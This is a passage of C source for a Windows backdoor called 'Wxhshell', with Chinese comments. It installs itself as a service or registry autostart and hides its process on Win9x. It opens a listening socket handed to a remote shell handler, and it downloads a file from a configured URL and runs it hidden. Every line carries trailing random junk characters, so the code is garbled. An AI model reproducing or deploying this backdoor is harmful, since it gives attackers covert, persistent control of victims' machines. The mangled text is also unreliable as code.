} PROCESS_BASIC_INFORMATION; qOy0QZ#0
[
ebk u_
PROCNTQSIP NtQueryInformationProcess; pI_dV44W
adPd}rt;
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L2=:Nac
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h5(OjlMC
zdm2`D;~p
HANDLE hProcess; |nfMoUI
PROCESS_BASIC_INFORMATION pbi; KP&xk13)
O7p=N8 V
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L5'?.9]
if(NULL == hInst ) return 0; gD2P)7:
Q'Tg0,,S
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); '50}QY_R.
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); BO WOH
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yfal'DqKF
*E]:VZl
if (!NtQueryInformationProcess) return 0; +D2I~hC0'
W>5[_d
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %lD+57=
if(!hProcess) return 0; txvo7?Y*4
O4Q"2
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `?O0)
CW2)1%1iz
CloseHandle(hProcess); +w-J;GLSy
a|jZg
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); oKCv$>Y
if(hProcess==NULL) return 0; :_tt9J
uXk]
HMODULE hMod; w {"1V7|
char procName[255]; jwUX?`6jX
unsigned long cbNeeded; I _gE`N
R1*4
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z/dhp0k
4Us_Z{.
CloseHandle(hProcess); ]x{.qTtw
r?IBmatK/
if(strstr(procName,"services")) return 1; // 以服务启动 Y%eq2%
kIX1u<M~
return 0; // 注册表启动 !JyY&D~`
} ]jYFrOMy4S
SZEi+CRs0
// 主模块 tJybR"NQ
int StartWxhshell(LPSTR lpCmdLine) h[&"KA
{ `<7!Rh,tS^
SOCKET wsl; Ij$C@hH
BOOL val=TRUE; T@Y, 7ccpd
int port=0; yYaoA/0
struct sockaddr_in door; G[`1Yw$
o+B)
if(wscfg.ws_autoins) Install(); @Ns[qn;9
kY @(-
port=atoi(lpCmdLine); z DU=2c4W9
loO"[8i.k
if(port<=0) port=wscfg.ws_port; L SP p
'&'m#H*:
WSADATA data; 9}u,`&
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Xjkg7p,HD@
XbqMWQN*
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ]8}51y8
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o<G#%9j
door.sin_family = AF_INET; "VZXi_P
door.sin_addr.s_addr = inet_addr("127.0.0.1");
o8Gygi5
door.sin_port = htons(port); Dnl<w<}ZU:
Pc_aEBq
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D}q"^"#T
closesocket(wsl); "4;nnq
return 1; 8!rdqI
} -(t7>s
pF4Z4?W
if(listen(wsl,2) == INVALID_SOCKET) { =E5bM_P<K
closesocket(wsl); __2<v?\
return 1; <^'{=A>
} #{vC =m73
Wxhshell(wsl); t*=[RS*
WSACleanup(); r!+{In+Z
W*t]
d
return 0; wWy;dma#
TI8r/P?
]V
} fEX=csZ86
mL=d EQ
// 以NT服务方式启动 ocFk#FW
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z
-!w/Bv@
{ Aeb(b+=
DWORD status = 0; XzHR^^;u"*
DWORD specificError = 0xfffffff; b:D92pH
8.[F3Tk=
serviceStatus.dwServiceType = SERVICE_WIN32; Fq@o_bI
serviceStatus.dwCurrentState = SERVICE_START_PENDING; B*,)@h
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0Gc@AG{
serviceStatus.dwWin32ExitCode = 0; 2S{P(B
serviceStatus.dwServiceSpecificExitCode = 0; K5jt(7i
serviceStatus.dwCheckPoint = 0; PDuc;RG
serviceStatus.dwWaitHint = 0; @kqxN\DE
@Fb1D"!
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +yp:douERi
if (hServiceStatusHandle==0) return; Z*ip=FYR
P"8Ix
status = GetLastError(); \3$!) z
if (status!=NO_ERROR) yQE'!m
{ ,^1zG
serviceStatus.dwCurrentState = SERVICE_STOPPED; mK[Z#obc=
serviceStatus.dwCheckPoint = 0; ?: yz/9(
serviceStatus.dwWaitHint = 0; { aUnOyX_
serviceStatus.dwWin32ExitCode = status; [mA-sl]
serviceStatus.dwServiceSpecificExitCode = specificError; A^>@6d $2
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3R3H+W0{
return; ~w+I2oS$
} G
aV&y
<qwf"Ey
serviceStatus.dwCurrentState = SERVICE_RUNNING; N2v/<
serviceStatus.dwCheckPoint = 0; wSN9`"
serviceStatus.dwWaitHint = 0; m$fEk,d
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (-21h0N[V
} .9rYBy
sD:o
2(G*
// 处理NT服务事件,比如:启动、停止 UX@%1W!8
VOID WINAPI NTServiceHandler(DWORD fdwControl) Lwr's'ao.
{ ~v+kO~
switch(fdwControl) wqb4w7%
{ z3jkxWAZ
case SERVICE_CONTROL_STOP: 6^ wI^`NI
serviceStatus.dwWin32ExitCode = 0; X0VSa{
serviceStatus.dwCurrentState = SERVICE_STOPPED; mdWA5p(
serviceStatus.dwCheckPoint = 0; V4n~Z+k
serviceStatus.dwWaitHint = 0; .eR1\IAm
{ uiVNz8H
SetServiceStatus(hServiceStatusHandle, &serviceStatus); dU$VRgP/
} ; :P4~R
return; eQuu\/z*H
case SERVICE_CONTROL_PAUSE: 5#,H&ui\
serviceStatus.dwCurrentState = SERVICE_PAUSED; Vxh39eW
break; YYv0cV{E
case SERVICE_CONTROL_CONTINUE: apo)cR
serviceStatus.dwCurrentState = SERVICE_RUNNING; An{>39{
break;
/MGapmqV9
case SERVICE_CONTROL_INTERROGATE: *siX:?l
break; ~U0%}Bbh
}; |O{N_-];.
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;
oyV8P$
} eDJnzh83
X0G,tl
// 标准应用程序主函数 ;6W ]f([
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &h-_|N
{ MJ|tfQwhx
c*;oR$VW
// 获取操作系统版本 b/M/)o!C
OsIsNt=GetOsVer(); /4G1,T_,
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ti%MOYNCv
D&G6^ME
// 从命令行安装 .a.HaBBV
if(strpbrk(lpCmdLine,"iI")) Install(); rH3U;K!
P`biHs8O
// 下载执行文件 *;fTiL
if(wscfg.ws_downexe) { IT| h;NUG
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) L4>14D\
WinExec(wscfg.ws_filenam,SW_HIDE); q)?%END
} ^kKLi
9/k2zXY
if(!OsIsNt) { >)kKP8l7
// 如果时win9x,隐藏进程并且设置为注册表启动 (Q*q#U
HideProc(); 1l,fK)z
StartWxhshell(lpCmdLine); )|~&(+Q?]
} qyz%9 9
else B\J[O5},
if(StartFromService()) j&8YE7
// 以服务方式启动 6}^x#9\
StartServiceCtrlDispatcher(DispatchTable); y2A\7&7
else @t%da^-HS"
// 普通方式启动 74Jx \(d
StartWxhshell(lpCmdLine); p<mL%3s0
:Y99L)+=/
return 0; &}"kF\
}